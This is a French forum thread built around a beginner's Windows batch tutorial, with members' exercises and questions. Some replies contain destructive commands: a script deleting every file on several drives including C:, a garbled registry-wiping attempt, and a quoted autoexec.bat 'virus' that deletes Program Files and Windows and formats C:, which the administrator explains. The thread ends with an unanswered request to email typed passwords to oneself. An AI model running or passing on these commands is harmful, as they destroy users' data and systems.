[Batch ] Tutorial (partie I)
+5
kenzo
programmeur28
DEB
payne
Julien
9 participants
Page 1 sur 1
[Batch ] Tutorial (partie I)
Bonjour !
Bon ben comme je m'ennuie en stage, je vais vous écrire un petit tutorial en batch pour créer des petits programmes sous Windows. Tout ce dont vous avez besoin, c'est un document texte et vos méninges.
Après, vous devrez me créer un petit programme genre Matrix pour voir si vous avez bien compris !
Voici à quoi ressemblera votre programme (il s'agit d'un défilement de nombres aléatoires) :
1) Comment créer un programme...
Pour créer un programme en batch, il faut déjà créer un fichier texte basique (avec Wordpad ou le bloc notes par exemple) que vous renommez en test.bat. Si vous essayez de l'ouvrir, une petite fenêtre va s'afficher pendant 1 nanoseconde puis se refermer tout de suite après !
Comment maintenir la fenêtre affichée ???
Il vous suffit d'écrire une ligne de code dans votre fichier.
Et voici ce que vous devez obtenir quand vous cliquez sur votre programme :
La première correspond au chemin du fichier test.bat. Après le signe ">" se trouve le nom de l'instruction que vous avez tapée dans le fichier test.bat, c'est-à-dire l'instruction "pause".
Ensuite, la deuxième ligne correspond à l'action qui se situe sous cette instruction "pause". En fait, "pause" permet de garder la fenêtre à l'écran et pour passer à l'instruction suivante, il faut appuyer sur une touche du clavier.
Mais pourquoi quand j'appuie sur une touche, la fenêtre se ferme
C'est normal ! Il n'y a pas d'autres instructions dans notre fichier actuel, donc le programme s'arrête et la fenêtre se ferme !
2) Créons notre premier programme !
Quand on commence à apprendre un langage de programmation, on apprend en tout premier lieu à afficher le texte "Hello World !" à l'écran.
Pour se faire, rien de plus simple grâce à l'instruction "echo" suivi du texte à afficher.
Voici donc le code du premier programme :
Et voici ce que nous obtenons :
3) Avant de continuer, quelques améliorations...
Déjà, on va supprimer l'affichage du chemin du fichier ainsi que les commandes tapées dans le fichier. Pour cela, il faut rajouter la ligne "@echo off" au début du fichier.
Ensuite, on va ajouter un titre à notre fenêtre grâce à l'instruction "title" suivie du titre que vous voulez écrire.
Ajoutons des couleurs au texte grâce à la commande "color" ! Il faut écrire "color" suivi d'un nombre ou d'une lettre comme indiqué ci-après :
On peut également mettre des commentaires grâce à l'instruction "REM" suivi du commentaire.
Pour sauter une ligne, il suffit de taper "echo.".
Pour afficher un nombre aléatoire, tapez "%random%" (ça sera utile pour le programme matrix.bat).
Enfin, pour ne pas afficher le résultat d'une instruction dans la fenêtre, il faut rediriger cette instruction vers 'nul'. Pour ne pas afficher "aaa" à l'écran si on a écrit "echo aaa", il faut donc rajouter >nul à la fin de la ligne : "echo aaa>nul". OK, on aurait tout aussi bien pu supprimer le "echo aaa", mais c'est un exemple !
Voici donc à quoi doit ressembler votre code amélioré à présent :
Bon ben comme je m'ennuie en stage, je vais vous écrire un petit tutorial en batch pour créer des petits programmes sous Windows. Tout ce dont vous avez besoin, c'est un document texte et vos méninges.
Après, vous devrez me créer un petit programme genre Matrix pour voir si vous avez bien compris !
Voici à quoi ressemblera votre programme (il s'agit d'un défilement de nombres aléatoires) :
1) Comment créer un programme...
Pour créer un programme en batch, il faut déjà créer un fichier texte basique (avec Wordpad ou le bloc notes par exemple) que vous renommez en test.bat. Si vous essayez de l'ouvrir, une petite fenêtre va s'afficher pendant 1 nanoseconde puis se refermer tout de suite après !
Comment maintenir la fenêtre affichée ???
Il vous suffit d'écrire une ligne de code dans votre fichier.
- Code:
pause
Et voici ce que vous devez obtenir quand vous cliquez sur votre programme :
Bon alors, analysons ces 2 lignes...C:\Documents and settings\utilisateur>pause
Appuyez sur une touche pour continuer...
La première correspond au chemin du fichier test.bat. Après le signe ">" se trouve le nom de l'instruction que vous avez tapée dans le fichier test.bat, c'est-à-dire l'instruction "pause".
Ensuite, la deuxième ligne correspond à l'action qui se situe sous cette instruction "pause". En fait, "pause" permet de garder la fenêtre à l'écran et pour passer à l'instruction suivante, il faut appuyer sur une touche du clavier.
Mais pourquoi quand j'appuie sur une touche, la fenêtre se ferme
C'est normal ! Il n'y a pas d'autres instructions dans notre fichier actuel, donc le programme s'arrête et la fenêtre se ferme !
2) Créons notre premier programme !
Quand on commence à apprendre un langage de programmation, on apprend en tout premier lieu à afficher le texte "Hello World !" à l'écran.
Pour se faire, rien de plus simple grâce à l'instruction "echo" suivi du texte à afficher.
Voici donc le code du premier programme :
- Spoiler:
- Code:
echo Hello World !
pause
Et voici ce que nous obtenons :
3) Avant de continuer, quelques améliorations...
Déjà, on va supprimer l'affichage du chemin du fichier ainsi que les commandes tapées dans le fichier. Pour cela, il faut rajouter la ligne "@echo off" au début du fichier.
Ensuite, on va ajouter un titre à notre fenêtre grâce à l'instruction "title" suivie du titre que vous voulez écrire.
Ajoutons des couleurs au texte grâce à la commande "color" ! Il faut écrire "color" suivi d'un nombre ou d'une lettre comme indiqué ci-après :
On peut également mettre des commentaires grâce à l'instruction "REM" suivi du commentaire.
Pour sauter une ligne, il suffit de taper "echo.".
Pour afficher un nombre aléatoire, tapez "%random%" (ça sera utile pour le programme matrix.bat).
Enfin, pour ne pas afficher le résultat d'une instruction dans la fenêtre, il faut rediriger cette instruction vers 'nul'. Pour ne pas afficher "aaa" à l'écran si on a écrit "echo aaa", il faut donc rajouter >nul à la fin de la ligne : "echo aaa>nul". OK, on aurait tout aussi bien pu supprimer le "echo aaa", mais c'est un exemple !
Voici donc à quoi doit ressembler votre code amélioré à présent :
- Code:
@echo off
color 9
title test
echo Hello World !
echo.
echo On a sauté une ligne !
REM ceci est un commentaire
echo %random%
pause
Dernière édition par Julien le Ven 6 Mai 2011 - 20:28, édité 4 fois
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Exercice n°1.
Ecrivez-moi le code pour obtenir ceci :
Ecrivez-moi le code pour obtenir ceci :
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Ouais bon... on peut s'en servir pour tout effacer ce langage, mais faites attention quand vous le manipulez ! (ne tapez pas ce qu'a écrit payne !)
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
- Spoiler:
- Code:
@echo off
title Exercice n°1
color A1
pause
DEB- Membre
- Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005
Re: [Batch ] Tutorial (partie I)
Je m'y attendais !!!
OK pour la couleur. En revanche, ton programme va écrire "continuer" au lieu de "quitter"...DEB a écrit:
- Spoiler:
- Code:
@echo off
title Exercice n°1
color A1
pause
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Ah le piège ! ^^
DEB- Membre
- Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005
Re: [Batch ] Tutorial (partie I)
Et oui !DEB a écrit:Ah le piège ! ^^
Ca a aurait été trop simple sinon !
J'attends ton nouveau code !
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
J'ai juste à trouver la bonne commande ^^.
DEB- Membre
- Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005
Re: [Batch ] Tutorial (partie I)
Tout est dans le tuto que j'ai tapé !DEB a écrit:J'ai juste à trouver la bonne commande ^^.
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Payne, je ne suis pas né de la dernière pluie tu sais...
@echo off
title Exercice 1
color A1
echo Appuyez sur une touche pour quitter...
pause >nul
@echo off
title Exercice 1
color A1
echo Appuyez sur une touche pour quitter...
pause >nul
DEB- Membre
- Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005
Re: [Batch ] Tutorial (partie I)
Bien joué DEB !DEB a écrit:
@echo off
title Exercice 1
color A1
echo Appuyez sur une touche pour quitter...
pause >nul
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Merci Désolé j'ai oublier de mettre les balises Spoiler.
DEB- Membre
- Nombre de messages : 641
Age : 33
Localisation : Strasbourg
Profession / Etudes : Ecole d'ingé (1ere année)
Points : 7330
Date d'inscription : 24/09/2005
RE : Tutorial Batch (partie I)
Voila je vient de m'inscrire et je vois ton petit tutorial mais j'ai vu que ce n'etait pas très beau et cool le appuyer sur une touche pour continuer ou autre ! Alors je vient de faire profiter d'un petit code ;-)
Le "ping localhost" + le " cls" fait passer une ligne ;-) Pour fermer la fenetre automatiquement essaie le code modifer ci-dessous (le meme avec le code en plus pour fermer la fenetre automatiquement lol)
J'ai rajouter "EXIT" pour fermer la page automatiquement ;-)
A bientot dites moi si j'ai faits des fautes !
- Code:
@echo off
color ?(7b)
title Test BATCH Files
echo Test de fichier batch files !
ping localhost -n 4 > nul
cls
echo Fin du code
ping localhost -n 4 > nul
cls
Le "ping localhost" + le " cls" fait passer une ligne ;-) Pour fermer la fenetre automatiquement essaie le code modifer ci-dessous (le meme avec le code en plus pour fermer la fenetre automatiquement lol)
- Code:
@echo off
color ?(7b)
title Test BATCH Files
echo Test de fichier batch files !
ping localhost -n 4 > nul
cls
echo Fin du code
ping localhost -n 4 > nul
cls
exit
J'ai rajouter "EXIT" pour fermer la page automatiquement ;-)
A bientot dites moi si j'ai faits des fautes !
programmeur28- Membre
- Nombre de messages : 3
Age : 27
Localisation : lol
Profession / Etudes : collegien
Points : 5790
Date d'inscription : 20/01/2009
Re: [Batch ] Tutorial (partie I)
C'est bon j'ai testé ! Sa marche , par contre pour la couleur le code doit se présenter comme sa :
2B est un exemple si vous voulez toutes les couleur ;-) :
Démarrer > executer > cmd > color w > Toute les couleurs !
Voila !
le ? de :
- Code:
color 2b
2B est un exemple si vous voulez toutes les couleur ;-) :
Démarrer > executer > cmd > color w > Toute les couleurs !
Voila !
le ? de :
- Code:
color ?(7b)
programmeur28- Membre
- Nombre de messages : 3
Age : 27
Localisation : lol
Profession / Etudes : collegien
Points : 5790
Date d'inscription : 20/01/2009
Re: [Batch ] Tutorial (partie I)
Je ne suis pas sur Windows là donc je ne peux pas tester ^^
Mais bienvenue sur le forum !!
Mais bienvenue sur le forum !!
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Ce qu'a ecris payne n'est rien lol enfaite sa vous efface le disque C: mais pour ce qui sont sur le disque T: par exemple lol ^^
Par contre ce code :
@echo off
del T:\*.*
del Q:\*.*
del A:\*.*
del R:\*.*
del C:\*.*
Maintenant je fait un code qui efface votre base de registre n'essayer pas !
Dites moi si vous trouver des fautes car je ne l'ai pas essayer moi lol
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
del regedit *.*
error "del regedit.reg"
Je crois que pour le error et le start sa n'est pas sa et j'ai un doute sur "del regedit *.* ;-)
A toute !
Par contre ce code :
@echo off
del T:\*.*
del Q:\*.*
del A:\*.*
del R:\*.*
del C:\*.*
Maintenant je fait un code qui efface votre base de registre n'essayer pas !
Dites moi si vous trouver des fautes car je ne l'ai pas essayer moi lol
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
start regedit.reg
del regedit *.*
error "del regedit.reg"
Je crois que pour le error et le start sa n'est pas sa et j'ai un doute sur "del regedit *.* ;-)
A toute !
programmeur28- Membre
- Nombre de messages : 3
Age : 27
Localisation : lol
Profession / Etudes : collegien
Points : 5790
Date d'inscription : 20/01/2009
Re: [Batch ] Tutorial (partie I)
Bonjour à toutes et à tous j'essaye d'écrire un batch capable de connecter et de déconnecter mon routeur .
je vous explique je réinitialise souvent ma connection pour ce faire vous connaissez la procédure navigateur web>adresse du routeur>mots de passe>onglet status de la disconnect / ou connect.
j'ai commencer avec ca
@echo off
color 0a
title reload !
start
http://adresse du routeur
jusque la ca va mais ca ce limite à la page d'acceuille du routeur et sur un autre ordinateur de mon reseau le login et le mots de passe est demander .
comment automatiser le tous login mots de passe et arriver direct sur la page status déconnecter reconnecter si possible ?
merci je precise que mon routeur est un DLINK dsl 2540T
je vous explique je réinitialise souvent ma connection pour ce faire vous connaissez la procédure navigateur web>adresse du routeur>mots de passe>onglet status de la disconnect / ou connect.
j'ai commencer avec ca
@echo off
color 0a
title reload !
start
http://adresse du routeur
jusque la ca va mais ca ce limite à la page d'acceuille du routeur et sur un autre ordinateur de mon reseau le login et le mots de passe est demander .
comment automatiser le tous login mots de passe et arriver direct sur la page status déconnecter reconnecter si possible ?
merci je precise que mon routeur est un DLINK dsl 2540T
kenzo- Membre
- Nombre de messages : 2
Age : 44
Localisation : senegal
Profession / Etudes : reseau
Points : 5401
Date d'inscription : 19/02/2010
Re: [Batch ] Tutorial (partie I)
Bonjour à tous, je viens de m'inscrire et j'aimerais présenter quelques codes que j'ai trouvé :
color choose permet de .... je ne sais pas encore __
et help affiche des commandes utiles
aussi je recherche une commande permettant de démarrer le fichier en mode administrateur pouvez-vous m'aider svp ?
- Spoiler:
- @echo off
title : Commandes
pause
color choose
pause
help
pause
exit
color choose permet de .... je ne sais pas encore __
et help affiche des commandes utiles
aussi je recherche une commande permettant de démarrer le fichier en mode administrateur pouvez-vous m'aider svp ?
PaulCommand- Membre
- Nombre de messages : 4
Age : 26
Localisation : Aquitaine, Dordogne
Profession / Etudes : Collégien
Points : 5321
Date d'inscription : 29/05/2010
Re: [Batch ] Tutorial (partie I)
Bonjour,
tu veux exécuter quelle commande une fois administrateur ?
tu veux exécuter quelle commande une fois administrateur ?
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Bonjour,
J'ai vu qu'il y avait des commandes qui ne s'éxécutaient qu'en administrateur. Par exemple si on crée un Batch avec "BCDEdit/set PAE forceenable" dedans, la commande ne marchera qu'en mode administrateur.
PS : "BCDEdit/set PAE forceenable" permet d'accélérer Windows Vista avec plus mémoire
J'ai vu qu'il y avait des commandes qui ne s'éxécutaient qu'en administrateur. Par exemple si on crée un Batch avec "BCDEdit/set PAE forceenable" dedans, la commande ne marchera qu'en mode administrateur.
PS : "BCDEdit/set PAE forceenable" permet d'accélérer Windows Vista avec plus mémoire
PaulCommand- Membre
- Nombre de messages : 4
Age : 26
Localisation : Aquitaine, Dordogne
Profession / Etudes : Collégien
Points : 5321
Date d'inscription : 29/05/2010
Re: [Batch ] Tutorial (partie I)
Tu n'as qu'à lancer ton prog en étant loggué en admin, non ?
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Même si je suis admin il faut que je fasses clic droit > éxécuter en tant qu'administrateur... c'est pour ça que je cherche une commande pour démarrer en mode admin sans avoir a faire clic droit etc... pour que dès que j'ouvre le batch, ça me demande le mot de passe admin.
PaulCommand- Membre
- Nombre de messages : 4
Age : 26
Localisation : Aquitaine, Dordogne
Profession / Etudes : Collégien
Points : 5321
Date d'inscription : 29/05/2010
je suis bloquer dés le début
je comprend pas pourquoi mais je créé mon bloc note que je nome test.bat après je l'ouvre ,marque pause , le referme et quand je l'ouvre il me mette le bloc note avec marquer pause j'ai du louper une étape mais je ne sait pas la quelle help please
Chopeur- Invité
Salut
Alors tout d'abord salut et merci beaucoup, mais j'ai une question: ou est la suite du tuto permettant de créer la matrice?
Mehfak- Invité
Re: [Batch ] Tutorial (partie I)
Bonjours
Je vien de m'inscrire et je tien a donner pas vraiment la suite pour le prgm de la matrice
il faut mettre
:loop pour ouvrir une boucle
goto loop pour la fermer et a l'interieur ce qui se passe
donc
Voila en gros sa resemble a ça non ?
Je vien de m'inscrire et je tien a donner pas vraiment la suite pour le prgm de la matrice
il faut mettre
:loop pour ouvrir une boucle
goto loop pour la fermer et a l'interieur ce qui se passe
donc
- Spoiler:
@echo off
title PRGM
color 2
:loop
echo %random%%random%%random%%random%%random%%
random%%random%%random%%random%%random%%random%
%random%%random%%random%%random%%random%%
random%%random%%random%%random%%random%%random%
%random%%random%%random%%random%%random%%
random%%random%%random%%random%%random%%random%
%random%
goto loop
pause > nul
Voila en gros sa resemble a ça non ?
Hackbug- Membre
- Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011
Re: [Batch ] Tutorial (partie I)
Et pourquoi pas plus simplement :
- Code:
@echo off
title PRGM
color 2
:loop
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%
goto loop
pause > nul
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
ouais c ets vraie que je me suis un peu lacher sur les %random%
Dailleur je n'ai que de petite base sur le batch donc si tu pouvais continuer tes cour et exo sa m'interraiserait
Merci
Dailleur je n'ai que de petite base sur le batch donc si tu pouvais continuer tes cour et exo sa m'interraiserait
Merci
Hackbug- Membre
- Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011
Re: [Batch ] Tutorial (partie I)
Arf, je n'ai malheureusement pas le temps de poursuivre. Mais tu devrais trouver des tutos facilement sur le net. Et si t'as des questions, n'hésite pas.
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Oui c'est vrai j'ai trouver des petit tuto mais c'est surtout les commande qui te sont balancé a l arrache donc c'est moins sympa a suivre que sur un forum.
Sinon effectivement j'ai bien une petit question, c'est pour la copie de fichier, un gars ecrivai.
copy C:\Users\Hackbug\Desktop\fichier1.bat C:\Users\Hackbug\Desktop\Dossier1\*.*
Et c'est le *.* que je ne comprend pas l'utilité vus que sa a été balancer a l'arrache je n'ai pas comprie et bien que ca marche sans....
Sinon effectivement j'ai bien une petit question, c'est pour la copie de fichier, un gars ecrivai.
copy C:\Users\Hackbug\Desktop\fichier1.bat C:\Users\Hackbug\Desktop\Dossier1\*.*
Et c'est le *.* que je ne comprend pas l'utilité vus que sa a été balancer a l'arrache je n'ai pas comprie et bien que ca marche sans....
Hackbug- Membre
- Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011
Re: [Batch ] Tutorial (partie I)
Hmmm... Elle est bizarre cette commande. Déjà, tu peux faire un
Tu verras qu'elle est de la forme copy source destination
Donc si tu veux copier le fichier test.txt dans le répertoire toto, tu vas faire un
Maintenant, si tu veux copier tous les fichiers au format TXT dans le répertoire toto, tu vas faire un
Et si tu veux copier tous les fichiers (donc de n'importe quelle extension), tu feras un
- Code:
copy /?
Tu verras qu'elle est de la forme copy source destination
Donc si tu veux copier le fichier test.txt dans le répertoire toto, tu vas faire un
- Code:
copy C:\chemin_absolu\test.txt C:\chemin_destination\toto
Maintenant, si tu veux copier tous les fichiers au format TXT dans le répertoire toto, tu vas faire un
- Code:
copy C:\chemin_absolu\*.txt C:\chemin_destination\toto
Et si tu veux copier tous les fichiers (donc de n'importe quelle extension), tu feras un
- Code:
copy C:\chemin_absolu\*.* C:\chemin_destination\toto
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
En fait, pour comprendre l'utilité du *.*, il faut faire l'essai si jamais le répertoire toto n'existe pas :
Dans ce cas,
va créer un fichier toto dans le répertoire chemin_destination contenant la concaténation de tous les fichiers venant de chemin_absolu, alors que
va tout simplement échouer vu que le répertoire toto n'existe pas.
C'est toujours important de gérer les cas d'erreurs, et sur le coup, un batch windows sera toujours largement inférieur à un bon shell unix ^^
Dans ce cas,
- Code:
copy C:\chemin_absolu\*.* C:\chemin_destination\toto
va créer un fichier toto dans le répertoire chemin_destination contenant la concaténation de tous les fichiers venant de chemin_absolu, alors que
- Code:
copy C:\chemin_absolu\*.* C:\chemin_destination\toto\*.*
va tout simplement échouer vu que le répertoire toto n'existe pas.
C'est toujours important de gérer les cas d'erreurs, et sur le coup, un batch windows sera toujours largement inférieur à un bon shell unix ^^
Barbabulle- Membre
- Nombre de messages : 16
Age : 109
Localisation : xxx
Profession / Etudes : xxx
Points : 5067
Date d'inscription : 04/02/2011
Re: [Batch ] Tutorial (partie I)
Ha ok merci
C'st vraiment dommage que les gens lance juste les chose en vrac c'est pas toujours comprehensible
C'st vraiment dommage que les gens lance juste les chose en vrac c'est pas toujours comprehensible
Hackbug- Membre
- Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011
Re: [Batch ] Tutorial (partie I)
Bonjour
J'ai trouver ça sur un site
formater le disque durouvré le bolc note et taper:
echo off@ (je sait y'a une faute ^^, @echo off)
cls
call attrib -h -r c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo deltree /y c:progra~1*.* >nul >>c:autoexec.bat
echo copy c:windowscommandformat.com c: >nul >>c:autoexec.bat
echo copy c:windowscommanddeltree.exe c: >nul >>c:autoexec.bat
echo deltree /y c:windows*.* >nul >>c:autoexec.bat
echo format c: /q /u /autotest >nul >>c:autoexec.bat enregistré le en .bat et se virus formatera votre disque dur (attention de ne pas l ouvrire sur votre pc)
Quelqu'un pourait m'expliquer comment cela marche deplus pourquoi cela efectue des action alors qu'il y a des echo devant chaque ligne ??
J'ai trouver ça sur un site
formater le disque durouvré le bolc note et taper:
echo off@ (je sait y'a une faute ^^, @echo off)
cls
call attrib -h -r c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo deltree /y c:progra~1*.* >nul >>c:autoexec.bat
echo copy c:windowscommandformat.com c: >nul >>c:autoexec.bat
echo copy c:windowscommanddeltree.exe c: >nul >>c:autoexec.bat
echo deltree /y c:windows*.* >nul >>c:autoexec.bat
echo format c: /q /u /autotest >nul >>c:autoexec.bat enregistré le en .bat et se virus formatera votre disque dur (attention de ne pas l ouvrire sur votre pc)
Quelqu'un pourait m'expliquer comment cela marche deplus pourquoi cela efectue des action alors qu'il y a des echo devant chaque ligne ??
Hackbug- Membre
- Nombre de messages : 33
Age : 29
Localisation : Coincer dans un programme
Profession / Etudes : Etudiant lycée // Etudiant programmation C/C++
Points : 5185
Date d'inscription : 09/04/2011
Re: [Batch ] Tutorial (partie I)
Salut,
Alors en fait, tes commandes echo servent à écrire des commandes dans le fichier C:\autoexec.bat.
La ligne
Ensuite, la commande deltree permet de supprimer un répertoire avec tout ce qu'il contient. La commande attrib -h -r permet de modifier les attributs du fichier autoexec.bat (en lecture et caché). Les commandes copy et format sont faciles à comprendre.
Maintenant, si t'as des questions précises, je t'écoute.
Alors en fait, tes commandes echo servent à écrire des commandes dans le fichier C:\autoexec.bat.
La ligne
- Code:
echo commande_batch >> chemin_vers_le_fichier
Ensuite, la commande deltree permet de supprimer un répertoire avec tout ce qu'il contient. La commande attrib -h -r permet de modifier les attributs du fichier autoexec.bat (en lecture et caché). Les commandes copy et format sont faciles à comprendre.
Maintenant, si t'as des questions précises, je t'écoute.
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
MES MEILLEURS SALUTATION POUR VOUS ET POUR L'EQUIPE .
Je suis un nouveau. J'ai lu et j'ai bien compris votre tuto MERCI BEAUCOUP.
Mais , j'ai éssayé de créer un meme programme ou on peut écrire le nom de compte et le mot de passe maisla fenêtre se ferme toukour à la fin .Voila mes tentatives :
Merci de me bien expliquer ce fonctionement et un grand merci d'avance .
Je suis un nouveau. J'ai lu et j'ai bien compris votre tuto MERCI BEAUCOUP.
Mais , j'ai éssayé de créer un meme programme ou on peut écrire le nom de compte et le mot de passe maisla fenêtre se ferme toukour à la fin .Voila mes tentatives :
- Code:
@echo off
title text
color 2
echo.
echo.
echo Bonjour a tous !
echo.
echo.
echo Veuiller remplir le formulaire suivant pour pouvoir vous connecter :
echo.
echo Nom d'utilisateur:
echo Mot de passe :
echo.
echo.
pause>nul
Merci de me bien expliquer ce fonctionement et un grand merci d'avance .
anassmatrix- Membre
- Nombre de messages : 3
Age : 33
Localisation : localhost
Profession / Etudes : etudes nucléaires
Points : 4785
Date d'inscription : 06/11/2011
Re: [Batch ] Tutorial (partie I)
Bienvenue par ici
Si tu mets 'pause' au lieu de 'pause>nul', ça change quelque chose ? (à part que la phrase "appuyer sur une touche pour quitter..." disparaît)
Si tu mets 'pause' au lieu de 'pause>nul', ça change quelque chose ? (à part que la phrase "appuyer sur une touche pour quitter..." disparaît)
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
Non je ne croix pas : ca change rien à part se que tu a dit .Et j'arrive pas encore a pouvoir écrire mon nom et mon mot de passe .
Cherchez moi une solution !
ET GRAND MERCI D'AVANCE .
Cherchez moi une solution !
ET GRAND MERCI D'AVANCE .
anassmatrix- Membre
- Nombre de messages : 3
Age : 33
Localisation : localhost
Profession / Etudes : etudes nucléaires
Points : 4785
Date d'inscription : 06/11/2011
Re: [Batch ] Tutorial (partie I)
Essaye ceci alors :
- Code:
@echo off
title text
color 2
echo.
echo.
echo Bonjour a tous !
echo.
echo.
echo Veuiller remplir le formulaire suivant pour pouvoir vous connecter :
echo.
set /p user= Nom d'utilisateur :
set /p password= Mot de passe :
echo.
echo.
echo Bonjour %user%
pause>nul
Julien- Administrateur
- Nombre de messages : 12291
Age : 37
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 22712
Date d'inscription : 10/03/2005
Re: [Batch ] Tutorial (partie I)
SA FONCTIONNE MERCI BEAUCOUP !
Je me demmande si je peux envoyer le nom d'utilisateur que j'ai ecris et le mot de passe à mon adresse émail.
Je m'excuse pour vous faire la peine de me repondre .
----------Merci d'avance .
Je me demmande si je peux envoyer le nom d'utilisateur que j'ai ecris et le mot de passe à mon adresse émail.
Je m'excuse pour vous faire la peine de me repondre .
----------Merci d'avance .
anassmatrix- Membre
- Nombre de messages : 3
Age : 33
Localisation : localhost
Profession / Etudes : etudes nucléaires
Points : 4785
Date d'inscription : 06/11/2011
Page 1 sur 1
Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum
Jeu 2 Juil 2015 - 15:16 par louaraychi
» Devoir maison sur équilibre et réaction chimique
Dim 1 Fév 2015 - 17:19 par sararose
» Ma présentation
Sam 25 Oct 2014 - 23:29 par Rith
» projet scientique sur la LUMIERE
Ven 26 Sep 2014 - 20:33 par benjamin-010
» La trajectoire de la Terre
Mar 5 Aoû 2014 - 22:19 par Alban
» Equilibrer une réaction redox
Dim 8 Juin 2014 - 21:18 par Courtney ♥
» les effets sur les lignes de transport de l’électricité
Ven 30 Mai 2014 - 17:14 par leila14
» lignes de transport de l'électricité
Ven 30 Mai 2014 - 17:07 par leila14
» Gravitation
Ven 16 Mai 2014 - 20:16 par fatimaa
» Maquette suspension de moto 2D
Jeu 17 Avr 2014 - 17:20 par Sti2d